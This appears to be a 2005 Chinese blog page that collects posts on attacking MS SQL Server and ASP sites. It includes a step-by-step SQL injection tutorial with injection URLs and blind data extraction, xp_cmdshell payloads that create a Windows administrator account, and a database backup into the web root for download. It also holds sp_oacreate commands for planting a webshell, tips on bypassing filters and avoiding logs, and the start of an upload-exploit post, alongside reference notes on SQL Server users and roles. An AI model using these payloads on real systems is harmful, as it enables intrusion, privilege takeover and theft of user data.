  在E:\WWW\test.asp增加一行记录,记录为asp horse, 整个完整木马可能这样写入。(%百分号要用

%25替代写入)。如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作

为WEB。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’

cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"’
  在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’

cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
  给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。这下给

自己一个天开眼了。那传WEBSHELL利用MS SQL为我们的工作告了一段落了,接下来工作应该由你来了。

- 作者: 古典辣M° 2005年05月31日, 星期二 03:16  回复(0) |  引用(0) 加入博采

SQL注入漏洞攻防必杀技
SQL注入是常见的利用程序漏洞进行攻击的方法,是很多入门级“黑客”喜欢采用的攻击方式,近来网上

对它的讨论很热烈,所以我在本期专题中为读者揭示SQL攻击的主要原理以及如何防范这种攻击。



攻击源于程序漏洞 SQL注入原理



导致SQL注入攻击的漏洞并非系统造成的,主要是程序员在编程中忽略了安全因素,他的原理并不复杂。



引 言

  随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业

的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户

输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返

回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

  SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面

的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉



  但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分

析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

  根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。

在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋

友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部

分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...

  入门篇

  如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好

HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不

能获得更多的提示信息。

  第一节、SQL注入原理

  以下我们从一个网站www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数

据)。

  在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest.

com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'

  字符串的语法错误 在查询表达式 'ID=49'' 中。

/showdetail.asp,行8

  从这个错误提示我们能看出下面几点:

  1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

  2. 程序没有判断客户端提交的数据是否符合程序要求。

  3. 该SQL语句所查询的表中有一名为ID的字段。

  从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务

器的信息,从而获取你想到得到的资料。

  第二节、判断能否进行SQL注入

  看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?

  其实,这并不是最好的方法,为什么呢?

  首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句

的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系

统管理员联络。

  其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数

,如果你用单引号测试,是测不到注入点的

  那么,什么样的测试方法才是比较准确呢?答案如下:

  ① http://www.mytest.com/showdetail.asp?id=49

  ② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

  ③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

  这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

  可以注入的表现:

  ① 正常显示(这是必然的,不然就是程序有错误了)

  ② 正常显示,内容基本与①相同

  ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为

空(程序加了on error resume next)

  不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类

型转换时出错。

  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我

将在中级篇的“SQL注入一般步骤”再做分析。

  第三节、判断数据库类型及注入方法

  不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。

一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

  怎么让程序告诉你它使用的什么数据库呢?来看看:

  SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以

直接从出错信息获取,方法如下:

  http://www.mytest.com/showdetail.asp?id=49 ;and user>0

  这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现

这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我

们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个

nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错

,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int

的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在

以后的篇幅里,大家会看到很多用这种方法的语句。

  顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几

乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是

:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

  如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区

别入手,Access和

SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但

在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

  在确认可以注入的情况下,使用下面的语句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

  如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?

id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,

页面也与原页面完全不同。

  如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址

,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情

况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。



进阶篇

  在入门篇,我们学会了SQL注入的断方法,但真正要拿到网站的保密内容,是远远不够的。接下来

,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

  第一节、SQL注入的一般步骤

  首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

  其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

  (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

Select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:

Select * from 表名 where 字段=49 And [查询条件]
  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:

Select * from 表名 where 字段=’连续剧’
  注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:

Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
  © 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

Select * from 表名 where 字段like ’%关键字%’
  注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:

Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
  接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0
  如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法

)。如此循环,直至猜到表名为止。

  表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

  有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很

对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为

别人的程序写得不严密或使用者保密意识不够,才有得下手。

  有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在

高级篇中会做介绍。

  最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Asc

ii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

  我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

  先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一

直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后

,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

  同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之

间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

  第二节、SQL注入常用函数

  有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL

水平,特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符)

  作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)

  作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)

  作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C

  作用:判断A是否界于B与C之间

  第三节、中文处理方法

  在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码

有所了解,“中文恐惧症”很快可以克服。

  先说一点常识:

  Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

  SQL Server中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码

,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

  了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范

围大一点外,方法是没什么两样的。



高级篇

  看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程

序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

  第一节、利用系统表注入SQLServer数据库

  SQL Server是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方

便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

  ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServe

r中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调

用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

  ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name

administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用

于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;and db_name()>0

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是

连接的数据库名。

  ④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’

;--

  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web

目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知

道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’

and status>0)>0

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=

’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息

把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

  ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from

sysobjects)>0

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的

第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接

影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵

,也许安全与开发本来就是相辅相成的吧。

  第二节、绕过程序限制继续注入

  在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注

入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到

绕过程序限制的目的。

  在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“

利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

  简单的如where xtype=’U’,字符U对应的ASCII是85,所以可以用where xtype=char(85)代替;

如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

  第三节、经验小结

  1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用sele

cT这样尝试一下。

  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取

相同的名字。

  3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URL

Encode的相关介绍。

  4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址

尽量不用Get。

  5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即

可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

  防范方法

  SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入

不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的R

equest函数,可以对一切的SQL注入Say NO,函数如下:






Function SafeRequest(ParaName,ParaType)
 '--- 传入参数 ---
 'ParaName:参数名称-字符型
 'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

 Dim Paravalue
 Paravalue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(Paravalue) then
   Response.write "参数" & ParaName & "必须为数字型!"
   Response.end
  End if
 Else
  Paravalue=replace(Paravalue,"'","''")
 End if
 SafeRequest=Paravalue
End function



不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。



- 作者: 古典辣M° 2005年05月31日, 星期二 03:14  回复(0) |  引用(0) 加入博采

数据库用户
14.3.1 数据库用户简介
    数据库用户用来指出哪一个人可以访问哪一个数据库。在一个数据库中,用户ID 惟一标识一个用户,用户对数据的访问权限以及对数据库对象的所有关系都是通过用户账号来控制的,用户账号总是基于数据库的,即两个不同数据库中可以有两个相同的用户账号。
    在数据库中,用户账号与登录账号是两个不同的概念。一个合法的登录账号只表明该账号通过了NT 认证或SQL Server 认证,但不能表明其可以对数据库数据和数据对象进行某种或某些操作,所以一个登录账号总是与一个或多个数据库用户账号(这些账号必须分别存在相异的数据库中)相对应,这样才可以访问数据库。例如,登录账号sa 自动与每一个数据库用户dbo 相关联。
    通常而言,数据库用户账号总是与某一登录账号相关联,但有一个例外,那就是guest用户。

    在安装系统时,guest 用户被加入到master、 pubs、 tempdb 和Northwind 数据中,那么SQL Server 为什么要进行这样的处理呢?让我们看看在用户通过NT 认证或SQLServer 认证而成功登录到SQL Server 之后,SQL Server 又做了哪些事情:

注意:通常我们可以像删除或添加其它有户那样删除或添加guest用户,但不能从master或tempdb数据库中删除该用户,并且在一个新建的数据库中不存在guest用户,除非将其添加进行。

14.3.2 管理数据库用户
1 利用SQL Server Enterprise Manager管理数据库用户
创建新数据库用户利用SQL Server Enterprise Manager 创建一个新数据库用户要执行以下步骤:
(1) 启动SQL Server Enterprise Manager, 单击登录服务器旁边的‘+’ 标志。
(2) 打开Database 文件夹,打开要创建用户的数据库。
(3) 右击User 图标,在弹出菜单中选择 New Database User, 弹出New Database User – New User 对话框。如图14-3 所示。
(4) 在Login 选择框内选择已经创建的登录账号、在User 选择框内输入数据库用户名称。
(5)在Database role membership 下的选项框中为该用户选择数据库角色(关于数据库角色将在角色一节中作详细介绍)。
(6)单击确定按钮。
    当然,在创建一个SQL Server 登录账号时,就可以先为该登录账号定出其在不同数据库中所使用的用户名称,这实际上也完成了创建新的数据库用户这一任务。其操作步骤见“14.2.1 使用SQL Server Enterprise Manager 管理SQL Server 登录”。 在打开的SQL Server Properties – New Login 对话框中选择Database Access 标签页。见图14-4 所示。
数据库用户
数据库用户

查看、删除数据库用户

    在SQL Server Enterprise Manager 中,选中User 图标(创建数据库用户的第三步),则在右面的窗格中显示当前数据库的所有用户。如图14-5 所示。
    选中User 图标后,在右面窗格中右击想要删除的数据库用户,则会弹出选项菜单,然后选择Delete, 则会从当前数据库中删除该数据库用户。见图14-5。
数据库用户

2 利用系统过程管理数据库用户:
SQL Server 利用以下系统过程管理数据库用户
sp_adduser    sp_granddbaccess
sp_dropuser   sp_revokedbaccess
sp_helpuser

    使用sp_adduser和sp_dropuser是为了保持以前版本相兼容,所以我们强烈主张使用sp_granddbaccess和sp_revokedbacces。

创建新数据库用户
    在数据库管理简介部分我们已经指出,除了guest 用户外,其它用户必须与某一登录账号相匹配,所以,正如在图14-4 中所见到的那样,不仅要输入新创建的新数据库用户名称,还要选择一个已经存在的登录账号。同理,当我们使用系统过程时,也必须指出登录账号和用户名称。

数据库用户

注意:使用该系统过程总是为登录账号设置一个在当前数据库中的用户账号,如果设置访登录者在其它数据库中的用户账号,必须首先使用Use命令,将其设置为当前数据库。

数据库用户

    对于sp_granddbaccess和sp_revokedaccess这两上系统过程,只有db_owner和db_access admin数据库角色才有执行它的权限。

数据库用户

- 作者: 古典辣M° 2005年05月31日, 星期二 02:44  回复(0) |  引用(0) 加入博采

通过MS SQL Server访问注册表
使用扩展存储过程 xp_regread 和 xp_regwrite 来访问注册表。

举例说明:

<%
Dim cnn
Dim rs
dim strSQL
Set cnn = Server.CreateObject("ADODB.Connection")
cnn.Open "provider=sqloledb;data source=.;initial catalog=master;user id=sa;password=;"
strSQL = "xp_regread 'HKEY_LOCAL_MACHINE'," &_
'SOFTWAREMicrosoftWindowsCurrentversion','CommonFilesDir'"
Set rs = cnn.Execute(strSQL)
Response.Write "Common files Path : " & rs("data")
rs.Close
Set rs = Nothing
cnn.Close
Set cnn = Nothing
%>

- 作者: 古典辣M° 2005年05月31日, 星期二 02:42  回复(0) |  引用(0) 加入博采

xp_cmdshell

以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。授予非管理用户执行 xp_cmdshell 的权限。

说明  在 Microsoft® Windows® 98 操作系统中执行 xp_cmdshell 时,将不把 xp_cmdshell 的返回代码设置为唤醒调用的可执行文件的进程退出代码。返回代码始终为 0。

语法

xp_cmdshell {'command_string'} [, no_output]

参数

'command_string'

是在操作系统命令行解释器上执行的命令字符串。command_string 的数据类型为 varchar(8000)nvarchar(4000),没有默认值。command_string 不能包含一对以上的双引号。如果由 command_string 引用的文件路径或程序名称中有空格,则需要使用一对引号。如果使用嵌入空格不方便,可考虑使用 FAT 8.3 文件名作为解决办法。

no_output

是可选参数,表示执行给定的 command_string,但不向客户端返回任何输出。

返回代码值

0(成功)或 1(失败)

结果集

执行下列 xp_cmdshell 语句将返回当前目录的目录列表。

xp_cmdshell 'dir *.exe'

行以 nvarchar(255) 列的形式返回。

执行下列 xp_cmdshell 语句将返回随后的结果集:

xp_cmdshell 'dir *.exe', NO_OUTPUT

下面是结果:

The command(s) completed successfully.
注释

xp_cmdshell 以同步方式操作。在命令行解释器命令执行完毕之前,不会返回控制。

当授予用户执行权限时,用户能在 Microsoft Windows NT® 命令行解释器上执行运行 Microsoft SQL Server™ 的帐户有权执行的任何操作系统命令。

默认情况下,只有 sysadmin 固定服务器角色的成员才能执行此扩展存储过程。但是,也可以授予其他用户执行此存储过程的权限。

当作为 sysadmin 固定服务器角色成员的用户唤醒调用 xp_cmdshell 时,将在运行 SQL Server 服务的安全上下文中执行 xp_cmdshell。当用户不是 sysadmin 组的成员时,xp_cmdshell 将模拟使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帐户。如果代理帐户不能用,则 xp_cmdshell 将失败。这只是针对于 Microsoft® Windows NT® 4.0 和 Windows 2000。在 Windows 9.x 上,没有模拟,且 xp_cmdshell 始终在启动 SQL Server 的 Windows 9.x 用户的安全上下文下执行。

说明  在早期版本中,获得 xp_cmdshell 执行权限的用户在 MSSQLServer 服务的用户帐户上下文中运行命令。可以通过配置选项配置 SQL Server,以便对 SQL Server 无 sa 访问权限的用户能够在 SQLExecutiveCmdExec Windows NT 帐户的上下文中运行 xp_cmdshell。在 SQL Server 7.0 中,该帐户称为 SQLAgentCmdExec。现在,不是 sysadmin 固定服务器角色成员的用户将在该帐户上下文中运行命令,而无需再进行配置更改。

权限

xp_deletemail 的执行权限默认授予 sysadmin 固定服务器角色的成员,但可以授予其他用户。

重要  如果为 MSSQLServer 服务选用的 Windows NT 帐户不是本地管理员组的成员,则非 sysadmin 固定服务器角色成员的用户将无法执行 xp_cmdshell

示例
A. 返回可执行文件列表

下例显示执行目录命令的 xp_cmdshell 扩展存储过程。

EXEC master..xp_cmdshell 'dir *.exe'
B. 使用 Windows NT net 命令

下例显示 xp_cmdshell 在存储过程中的使用。下例先用 net send 通知用户 SQL Server 即将关闭,然后用 net pause 暂停服务器,最后用 net stop 关闭服务器。

CREATE PROC shutdown10
AS
EXEC xp_cmdshell 'net send /domain:SQL_USERS ''SQL Server shutting down 
   in 10 minutes. No more connections allowed.', no_output
EXEC xp_cmdshell 'net pause sqlserver'
WAITFOR DELAY '00:05:00'
EXEC xp_cmdshell 'net send /domain: SQL_USERS ''SQL Server shutting down 
   in 5 minutes.', no_output
WAITFOR DELAY '00:04:00'
EXEC xp_cmdshell 'net send /domain:SQL_USERS ''SQL Server shutting down 
   in 1 minute. Log off now.', no_output
WAITFOR DELAY '00:01:00'
EXEC xp_cmdshell 'net stop sqlserver', no_output
C. 不返回输出

下例使用 xp_cmdshell 执行命令字符串,且不向客户端返回输出。

USE master
EXEC xp_cmdshell 'copy c:\sqldumps\pubs.dmp \\server2\backups\sqldumps', 
   NO_OUTPUT
D. 使用返回状态

在下例中,xp_cmdshell 扩展存储过也给出了返回状态。返回代码值存储在变量 @result 中。

DECLARE @result int
EXEC @result = xp_cmdshell 'dir *.exe'
IF (@result = 0)
   PRINT 'Success'
ELSE
   PRINT 'Failure'
E. 将变量内容写入文件

下例将 @var 变量的内容写入当前服务器目录下名为 var_out.txt 的文件中。

DECLARE @cmd sysname, @var sysname
SET @var = 'Hello world'
SET @cmd = 'echo ' + @var + ' > var_out.txt'
EXEC master..xp_cmdshell @cmd
F. 将命令的结果捕获到文件

下例将当前目录的内容写入当前服务器目录中名为 dir_out.txt 的文件中。

DECLARE @cmd sysname, @var sysname
SET @var = 'dir/p'
SET @cmd = @var + ' > dir_out.txt'
EXEC master..xp_cmdshell @cmd

- 作者: 古典辣M° 2005年05月31日, 星期二 02:38  回复(0) |  引用(0) 加入博采

mssql 角色
14.5.1 角色管理简介
    自SQL Server 7 版本开始引入了新的概念角色,从而替代以前版本中组的概念。和组一样,SQL Server 管理者可以将某些用户设置为某一角色,这样只对角色进行权限设置便可实现对所有用户权限的设置,大大减少了管理员的工作量。在SQL Server 中主要有两种角色类型:服务器角色与数据库角色。

1 服务器角色
    服务器角色是指根据SQL Server 的管理任务,以及这些任务相对的重要性等级来把具有SQL Server 管理职能的用户划分成不同的用户组,每一组所具有管理SQL Server的权限已被预定义。服务器角色适用在服务器范围内,并且其权限不能被修改。例如,具有sysadmin 角色的用户在SQL Server 中可以执行任何管理性的工作,任何企图对其权限进行修改的操作都将会失败。这一点与数据库角色不同

    SQL Server 共有7 种预定义的服务器角色,各种角色的具体含义如表14-3 所示:
角色管理

2 数据库角色
    在SQL Server 中我们常会发现我们要将一套数据库专有权限授予给多个用户,但这些用户并不属于同一个NT 用户组,或者虽然这些用户可以被NT 管理者划为同一NT 用户组,但遗憾的是,我们却没有管理NT 账号的权限,这时我们就可以在数据库中添加新数据库角色或使用已经存在的数据库角色,并让这些有着相同数据库权限的用户归属于同一角色。
    由此可见,数据库角色能为某一用户或一组用户授予不同级别的管理或访问数据库或数据库对象的权限,这些权限是数据库专有的。而且,还可以使一个用户具有属于同一数据库的多个角色。
    SQL Server 提供了两种数据库角色类型:预定义的数据库角色、用户自定义的数据库角色。
预定义数据库角色
    预定义数据库角色是指这些角色所有具有的管理、访问数据库权限已被SQL Server 定义、并且SQL Server 管理者不能对其所具有的权限进行任何修改。SQL Server 中的每一个数据库中都有一组预定义的数据库角色,在数据库中使用预定义的数据库角色可以将不同级别的数据库管理工作分给不同的角色,从而很容易实现工作权限的传递。例如,如果准备让某一用户临时或长期具有创建和删除数据库对象(表、视图、存储过程)的权限,那么只要把他设置为db_ddladmin 数据库角色即可。
角色管理角色管理

用户自定义的数据库角色
    当我们打算为某些数据库用户设置相同的权限,但是这些权限不等同于预定义的数据库角色所具有的权限时,我们就可以定义新的数据库角色来满足这一要求,从而使这些用户能够在数据库中实现某一特定功能。用户自定义的数据库角色具有以下几个优点:

SQL Server 数据库角色可以包含NT 用户组或用户;
在同一数据库中用户可以具有多个不同的自定义角色,这种角色的组合是自由的,而不仅仅是public 与其它一种角色的结合;
角色可以进行嵌套,从而在数据库实现不同级别的安全性。
用户定义的数据库角色有两种类型:标准角色和应用角色。
    标准角色类似于SQL Server 7 版本以前的用户组,它通过对用户权限等级的认定而将用户划分为不同的用户组,使用户总是相对于一个或多个角色,从而实现管理的安全性。所有的预定义的数据库角色或SQL Server 管理者自定义的某一角色(该角色具有管理数据库对象或数据库的某些权限)都是标准角色。
    应用角色是一种比较特殊的角色类型。当我们打算让某些用户只能通过特定的应用程序间接地存取数据库中的数据(比如通过SQL Server Query Analyzer 或Microsoft Excel) 而不是直接地存取数据库数据时,我们就应该考虑使用应用角色。当某一用户使用了应用角色时,他便放弃了已被赋予的所有数据库专有权限,他所拥有只是应用角色被设置的权限。通过应用角色,总能实现这样的目标;即以可控制方式来限定用户的语句或对象权限。
    标准数据库角色与应用角色的差异主要表现在以下几个方面。

    应用角色不像标准角色那样具有组的含义,因此不能像使用标准角色那样把某一用户设置为应用角色;
    当用户在数据库中激活应用角色时,必须提供密码,即应用角色是受口令保护的,而标准角色并不受口令保护。
    我们可以看出并不像标准角色那样将通过把用户加入到不同的角色当中而使用户具有这样或那样的语句或对象权限,而是首先将这样或那样的权限赋予应用角色,然后将逻辑加入到某一特定的应用程序中,从而通过激活应用角色而实现对应用程序存取数据的可控性。只有应用角色被激活,角色才是有效的,用户也便可以且只可以执行应用角色相应的权限,而不管用户是一个sysadmin 或public 标准数据库角色。

14.5.2 角色的管理
1 管理服务器角色
使用SQL Server Enterprise Manager 查看服务器角色成员使用SQL Server EnterpriseManager 的执行步骤如下:
(1)启动SQL Server Enterprise Manager,登录到指定的服务器。
(2)单击security 文件夹,单击Server Role 图标。
(3)在右窗格中右击服务器角色,在弹出菜单中选择Properties, 然后弹出ServerRole Properties 对话框,如图14-10 所示,从中我们可以看到该角色的成员。
角色管理
2 增加服务器角色成员
在图14-10 的Server Role Properties 对话框中选择Add 按钮弹出Add Members 对话框,从中选择登录者。

3 查看服务器角色权限
在图14-10 的Server Role Properties 对话框中选择Permission 按钮,便可查找看该服务器角色所具有的所有权限,如图14-11 所示。
角色管理
角色管理
角色管理角色管理角色管理角色管理角色管理角色管理

- 作者: 古典辣M° 2005年05月31日, 星期二 02:20  回复(0) |  引用(0) 加入博采

万能上传击溃ASP/PHP/JSP脚本系统
自从动网7拉开上传漏洞序幕后,各种系统的上传漏洞接踵而来!它们的漏洞原理基本都差不多,利用方法上有略微的差异,简言之可以归纳为几步:先抓包,然后修改文件类型,再在上传路径后加上空格,用十六进制编辑器把空格改成00,最后用NC提交。当然最好还是找一个具体的UpFile文件来自己分析一下,这样有助于提高对漏洞的理解和记忆!
本文没有太高深的技术,只不过是把目前发现有上传漏洞的系统按编程语言分类汇总了一下,并通过桂林老兵的一个软件,结合实例讲解各种系统的漏洞利用方法。在具体实例中上传了各种流行的WebShell,以供大家参考!同时也希望借此能提醒部分程序员在编程时要注意思维的严密性,避免千里之堤而溃于蚁穴!下面我们先从老兵的这个工具开始!
